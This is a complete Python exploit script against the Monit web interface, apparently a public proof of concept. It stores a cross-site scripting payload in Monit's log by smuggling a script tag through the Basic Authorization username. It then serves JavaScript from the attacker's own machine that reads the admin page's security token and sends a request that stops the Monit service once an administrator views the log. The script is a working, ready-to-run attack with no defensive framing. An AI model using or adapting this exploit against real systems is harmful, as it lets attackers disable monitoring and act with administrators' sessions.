#!/usr/bin/env python2 
# -*- coding: utf-8 -*-

import requests
import argparse
import base64
import socket
import SocketServer

parser = argparse.ArgumentParser(description='Example: ./monit_xss.py http://127.0.0.1:2812 --lport 8000')
parser.add_argument('url', type=str, nargs=1,
                    help='url to target')
parser.add_argument('-lport', type=int, nargs=1, default=[8000],
                    help='local port to run webserver on')
args = parser.parse_args()

class MyTCPHandler(SocketServer.BaseRequestHandler):
    def handle(self):
        self.data = self.request.recv(1024).strip()
        print ("XSS triggered by {}. Shutting down monit server...".format(self.client_address[0]))
        self.request.sendall('''HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.7.15
Content-type: application/javascript

var xhr = new XMLHttpRequest();

xhr.onload = function () {
    if (xhr.status >= 200 && xhr.status < 300) {
        var res = document.createElement("div");
        res.innerHTML = xhr.responseText;
        var elements = res.getElementsByTagName("input")
        for (var i = 0; i < elements.length; i++) {
            if (elements[i].name == "securitytoken") {
                xhr.open("POST", "/_runtime", true);
                xhr.setRequestHeader("action", "stop");
                xhr.send(`securitytoken=${elements[i].value}&action=stop`);
            }
        }
    } else {
        console.log(xhr.responseText);
    }
};

xhr.open("GET", "/_runtime");
xhr.send();
''')


def get_ip():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        # Not reachable
        s.connect(('10.255.255.255', 1))
        IP = s.getsockname()[0]
    except:
        IP = '127.0.0.1'
    finally:
        s.close()
    return IP

url = args.url[0]
username_and_pass = '</textarea><script src="http&#x3a;//%s&#x3a;%d/script.js"></script>:test' % (get_ip(), args.lport[0])
auth_header = 'Basic ' + base64.b64encode(username_and_pass)
headers = {'Authorization': auth_header}

try:
    r = requests.get(url, headers=headers)
except requests.exceptions.RequestException as e:
    print("Failed to Store XSS payload in log file")
    print(e)
    exit(1)

print("Successfully stored XSS payload in log file, waiting for user to visit '/_viewlog'")

httpd = SocketServer.TCPServer(("", args.lport[0]), MyTCPHandler)
httpd.handle_request()
